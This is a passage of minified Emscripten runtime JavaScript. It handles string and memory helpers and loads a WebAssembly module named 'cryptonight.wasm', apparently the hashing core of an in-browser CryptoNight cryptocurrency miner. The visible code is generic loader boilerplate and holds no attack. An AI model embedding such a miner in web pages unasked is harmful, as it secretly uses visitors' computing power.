i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret=\"\";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return Module[\"UTF8ToString\"](ptr)}Module[\"Pointer_stringify\"]=Pointer_stringify;function AsciiToString(ptr){var str=\"\";while(1){var ch=HEAP8[ptr++>>0];if(!ch)return str;str+=String.fromCharCode(ch)}}Module[\"AsciiToString\"]=AsciiToString;function stringToAscii(str,outPtr){return writeAsciiToMemory(str,outPtr,false)}Module[\"stringToAscii\"]=stringToAscii;var UTF8Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf8\"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str=\"\";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}Module[\"UTF8ArrayToString\"]=UTF8ArrayToString;function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}Module[\"UTF8ToString\"]=UTF8ToString;function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}Module[\"stringToUTF8Array\"]=stringToUTF8Array;function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}Module[\"stringToUTF8\"]=stringToUTF8;function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}Module[\"lengthBytesUTF8\"]=lengthBytesUTF8;var UTF16Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf-16le\"):undefined;function demangle(func){var __cxa_demangle_func=Module[\"___cxa_demangle\"]||Module[\"__cxa_demangle\"];if(__cxa_demangle_func){try{var s=func.substr(1);var len=lengthBytesUTF8(s)+1;var buf=_malloc(len);stringToUTF8(s,buf,len);var status=_malloc(4);var ret=__cxa_demangle_func(buf,0,0,status);if(getValue(status,\"i32\")===0&&ret){return Pointer_stringify(ret)}}catch(e){}finally{if(buf)_free(buf);if(status)_free(status);if(ret)_free(ret)}return func}Runtime.warnOnce(\"warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling\");return func}function demangleAll(text){var regex=\/__Z[\\w\\d_]+\/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+\" [\"+y+\"]\"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return\"(no stack trace available)\"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module[\"extraStackTrace\"])js+=\"\\n\"+Module[\"extraStackTrace\"]();return demangleAll(js)}Module[\"stackTrace\"]=stackTrace;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module[\"buffer\"]=buffer=buf}function updateGlobalBufferViews(){Module[\"HEAP8\"]=HEAP8=new Int8Array(buffer);Module[\"HEAP16\"]=HEAP16=new Int16Array(buffer);Module[\"HEAP32\"]=HEAP32=new Int32Array(buffer);Module[\"HEAPU8\"]=HEAPU8=new Uint8Array(buffer);Module[\"HEAPU16\"]=HEAPU16=new Uint16Array(buffer);Module[\"HEAPU32\"]=HEAPU32=new Uint32Array(buffer);Module[\"HEAPF32\"]=HEAPF32=new Float32Array(buffer);Module[\"HEAPF64\"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort(\"Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 \")}function enlargeMemory(){abortOnCannotGrowMemory()}var TOTAL_STACK=Module[\"TOTAL_STACK\"]||5242880;var TOTAL_MEMORY=Module[\"TOTAL_MEMORY\"]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\");if(Module[\"buffer\"]){buffer=Module[\"buffer\"]}else{if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Memory===\"function\"){Module[\"wasmMemory\"]=new WebAssembly.Memory({\"initial\":TOTAL_MEMORY\/WASM_PAGE_SIZE,\"maximum\":TOTAL_MEMORY\/WASM_PAGE_SIZE});buffer=Module[\"wasmMemory\"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}}updateGlobalBufferViews();function getTotalMemory(){return TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw\"Runtime error: expected the system to be little-endian!\";Module[\"HEAP\"]=HEAP;Module[\"buffer\"]=buffer;Module[\"HEAP8\"]=HEAP8;Module[\"HEAP16\"]=HEAP16;Module[\"HEAP32\"]=HEAP32;Module[\"HEAPU8\"]=HEAPU8;Module[\"HEAPU16\"]=HEAPU16;Module[\"HEAPU32\"]=HEAPU32;Module[\"HEAPF32\"]=HEAPF32;Module[\"HEAPF64\"]=HEAPF64;function callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift();if(typeof callback==\"function\"){callback();continue}var func=callback.func;if(typeof func===\"number\"){if(callback.arg===undefined){Module[\"dynCall_v\"](func)}else{Module[\"dynCall_vi\"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module[\"preRun\"]){if(typeof Module[\"preRun\"]==\"function\")Module[\"preRun\"]=[Module[\"preRun\"]];while(Module[\"preRun\"].length){addOnPreRun(Module[\"preRun\"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module[\"postRun\"]){if(typeof Module[\"postRun\"]==\"function\")Module[\"postRun\"]=[Module[\"postRun\"]];while(Module[\"postRun\"].length){addOnPostRun(Module[\"postRun\"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}Module[\"addOnPreRun\"]=addOnPreRun;function addOnInit(cb){__ATINIT__.unshift(cb)}Module[\"addOnInit\"]=addOnInit;function addOnPreMain(cb){__ATMAIN__.unshift(cb)}Module[\"addOnPreMain\"]=addOnPreMain;function addOnExit(cb){__ATEXIT__.unshift(cb)}Module[\"addOnExit\"]=addOnExit;function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}Module[\"addOnPostRun\"]=addOnPostRun;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module[\"intArrayFromString\"]=intArrayFromString;function intArrayToString(array){var ret=[];for(var i=0;i<array.length;i++){var chr=array[i];if(chr>255){chr&=255}ret.push(String.fromCharCode(chr))}return ret.join(\"\")}Module[\"intArrayToString\"]=intArrayToString;function writeStringToMemory(string,buffer,dontAddNull){Runtime.warnOnce(\"writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!\");var lastChar,end;if(dontAddNull){end=buffer+lengthBytesUTF8(string);lastChar=HEAP8[end]}stringToUTF8(string,buffer,Infinity);if(dontAddNull)HEAP8[end]=lastChar}Module[\"writeStringToMemory\"]=writeStringToMemory;function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}Module[\"writeArrayToMemory\"]=writeArrayToMemory;function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i<str.length;++i){HEAP8[buffer++>>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}Module[\"writeAsciiToMemory\"]=writeAsciiToMemory;if(!Math[\"imul\"]||Math[\"imul\"](4294967295,5)!==-5)Math[\"imul\"]=function imul(a,b){var ah=a>>>16;var al=a&65535;var bh=b>>>16;var bl=b&65535;return al*bl+(ah*bl+al*bh<<16)|0};Math.imul=Math[\"imul\"];if(!Math[\"fround\"]){var froundBuffer=new Float32Array(1);Math[\"fround\"]=(function(x){froundBuffer[0]=x;return froundBuffer[0]})}Math.fround=Math[\"fround\"];if(!Math[\"clz32\"])Math[\"clz32\"]=(function(x){x=x>>>0;for(var i=0;i<32;i++){if(x&1<<31-i)return i}return 32});Math.clz32=Math[\"clz32\"];if(!Math[\"trunc\"])Math[\"trunc\"]=(function(x){return x<0?Math.ceil(x):Math.floor(x)});Math.trunc=Math[\"trunc\"];var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_tan=Math.tan;var Math_acos=Math.acos;var Math_asin=Math.asin;var Math_atan=Math.atan;var Math_atan2=Math.atan2;var Math_exp=Math.exp;var Math_log=Math.log;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_imul=Math.imul;var Math_fround=Math.fround;var Math_round=Math.round;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}}Module[\"addRunDependency\"]=addRunDependency;function removeRunDependency(id){runDependencies--;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module[\"removeRunDependency\"]=removeRunDependency;Module[\"preloadedImages\"]={};Module[\"preloadedAudios\"]={};var memoryInitializer=null;function integrateWasmJS(Module){var method=Module[\"wasmJSMethod\"]||\"native-wasm\";Module[\"wasmJSMethod\"]=method;var wasmTextFile=Module[\"wasmTextFile\"]||\"cryptonight.wast\";var wasmBinaryFile=Module[\"wasmBinaryFile\"]||\"cryptonight.wasm\";var asmjsCodeFile=Module[\"asmjsCodeFile\"]||\"cryptonight.temp.asm.js\";if(typeof Module[\"locateFile\"]===\"function\"){wasmTextFile=Module[\"locateFile\"](wasmTextFile);wasmBinaryFile=Module[\"locateFile\"](wasmBinaryFile);asmjsCodeFile=Module[\"locateFile\"](asmjsCodeFile)}var wasmPageSize=64*1024;var asm2wasmImports={\"f64-rem\":(function(x,y){return x%y}),\"f64-to-int\":(function(x){return x|0}),\"i32s-div\":(function(x,y){return(x|0)\/(y|0)|0}),\"i32u-div\":(function(x,y){return(x>>>0)\/(y>>>0)>>>0}),\"i32s-rem\":(function(x,y){return(x|0)%(y|0)|0}),\"i32u-rem\":(function(x,y){return(x>>>0)%(y>>>0)>>>0}),\"debugger\":(function(){debugger})};var info={\"global\":null,\"env\":null,\"asm2wasm\":asm2wasmImports,\"parent\":Module};var exports=null;function lookupImport(mod,base){var lookup=info;if(mod.indexOf(\".\")<0){lookup=(lookup||{})[mod]}else{var parts=mod.split(\".\");lookup=(lookup||{})[parts[0]];lookup=(lookup||{})[parts[1]]}if(base){lookup=(lookup||{})[base]}if(lookup===undefined){abort(\"bad lookupImport to (\"+mod+\").\"+base)}return lookup}function mergeMemory(newBuffer){var oldBuffer=Module[\"buffer\"];if(newBuffer.byteLength<oldBuffer.byteLength){Module[\"printErr\"](\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);if(!memoryInitializer){oldView.set(newView.subarray(Module[\"STATIC_BASE\"],Module[\"STATIC_BASE\"]+Module[\"STATIC_BUMP\"]),Module[\"STATIC_BASE\"])}newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}var WasmTypes={none:0,i32:1,i64:2,f32:3,f64:4};function fixImports(imports){if(!0)return imports;var ret={};for(var i in imports){var fixed=i;if(fixed[0]==\"_\")fixed=fixed.substr(1);ret[fixed]=imports[i]}return ret}function getBinary(){try{var binary;if(Module[\"wasmBinary\"]){binary=Module[\"wasmBinary\"];binary=new Uint8Array(binary)}else if(Module[\"readBinary\"]){binary=Module[\"readBinary\"](wasmBinaryFile)}else{throw\"on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)\"}return binary}catch(err){abort(err)}}function getBinaryPromise(){if(!Module[\"wasmBinary\"]&&typeof fetch===\"function\"){return fetch(wasmBinaryFile,{credentials:\"same-origin\"}).then((function(response){if(!response[\"ok\"]){throw\"failed to load wasm binary file at '\"+wasmBinaryFile+\"'\"}return response[\"arrayBuffer\"]()}))}return new Promise((function(resolve,reject){resolve(getBinary())}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!==\"object\"){Module[\"printErr\"](\"no native wasm support detected\");return false}if(!(Module[\"wasmMemory\"]instanceof WebAssembly.Memory)){Module[\"printErr\"](\"no native wasm Memory in use\");return false}env[\"memory\"]=Module[\"wasmMemory\"];info[\"global\"]={\"NaN\":NaN,\"Infinity\":Infinity};info[\"global.Math\"]=global.Math;info[\"env\"]=env;function receiveInstance(instance){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module[\"asm\"]=exports;Module[\"usingWasm\"]=true;removeRunDependency(\"wasm-instantiate\")}addRunDependency(\"wasm-instantiate\");if(Module[\"instantiateWasm\"]){try{return Module[\"instantiateWasm\"](info,receiveInstance)}catch(e){Module[\"printErr\"](\"Module.instantiateWasm callback failed with error: \"+e);return false}}getBinaryPromise().then((function(binary){return WebAssembly.instantiate(binary,info)})).then((function(output){receiveInstance(output[\"instance\"])})).catch((function(reason){Module[\"printErr\"](\"failed to asynchronously prepare wasm: \"+reason);abort(reason)}));return{}}Module[\"asmPreload\"]=Module[\"asm\"];var asmjsReallocBuffer=Module[\"reallocBuffer\"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module[\"usingWasm\"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module[\"buffer\"];var oldSize=old.byteLength;if(Module[\"usingWasm\"]){try{var result=Module[\"wasmMemory\"].grow((size-oldSize)\/wasmPageSize);if(result!==(-1|0)){return Module[\"buffer\"]=Module[\"wasmMemory\"].buffer}else{return null}}catch(e){return null}}else{exports[\"__growWasmMemory\"]((size-oldSize)\/wasmPageSize);return Module[\"buffer\"]!==old?Module[\"buffer\"]:null}});Module[\"reallocBuffer\"]=(function(size){if(finalMethod===\"asmjs\"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod=\"\";Module[\"asm\"]=(function(global,env,providedBuffer){global=fixImports(global);env=fixImports(env);if(!env[\"table\"]){var TABLE_SIZE=Module[\"wasmTableSize\"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module[\"wasmMaxTableSize\"];if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Table===\"function\"){if(MAX_TABLE_SIZE!==undefined){env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,\"maximum\":MAX_TABLE_SIZE,\"element\":\"anyfunc\"})}else{env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,element:\"anyfunc\"})}}else{env[\"table\"]=new Array(TABLE_SIZE)}Module[\"wasmTable\"]=env[\"table\"]}if(!env[\"memoryBase\"]){env[\"memoryBase\"]=Module[\"STATIC_BASE\"]}if(!env[\"tableBase\"]){env[\"tableBase\"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);return exports});var methodHandler=Module[\"asm\"]}integrateWasmJS(Module);var ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE;STATICTOP=STATIC_BASE+12512;__ATINIT__.push();memoryInitializer=Module[\"wasmJSMethod\"].indexOf(\"asmjs\")>=0||Module[\"wasmJSMethod\"].indexOf(\"interpret-asm2wasm\")>=0?\"cryptonight.js.mem\":null;var STATIC_BUMP=12512;Module[\"STATIC_BASE\"]=STATIC_BASE;Module[\"STATIC_BUMP\"]=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;function ___assert_fail(condition,filename,line,func){ABORT=true;throw\"Assertion failed: \"+Pointer_stringify(condition)+\", at: \"+[filename?Pointer_stringify(filename):\"unknown filename\",line,func?Pointer_stringify(func):\"unknown function\"]+\" at \"+stackTrace()}var PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};var ERRNO_MESSAGES={0:\"Success\",1:\"Not super-user\",2:\"No such file or directory\",3:\"No such process\",4:\"Interrupted system call\",5:\"I\/O error\",6:\"No such device or address\",7:\"Arg list too long\",8:\"Exec format error\",9:\"Bad file number\",10:\"No children\",11:\"No more processes\",12:\"Not enough core\",13:\"Permission denied\",14:\"Bad address\",15:\"Block device required\",16:\"Mount device busy\",17:\"File exists\",18:\"Cross-device link\",19:\"No such device\",20:\"Not a directory\",21:\"Is a directory\",22:\"Invalid argument\",23:\"Too many open files in system\",24:\"Too many open files\",25:\"Not a typewriter\",26:\"Text file busy\",27:\"File too large\",28:\"No space left on device\",29:\"Illegal seek\",30:\"Read only file system\",31:\"Too many links\",32:\"Broken pipe\",33:\"Math arg out of domain of func\",34:\"Math result not representable\",35:\"File locking deadlock error\",36:\"File or path name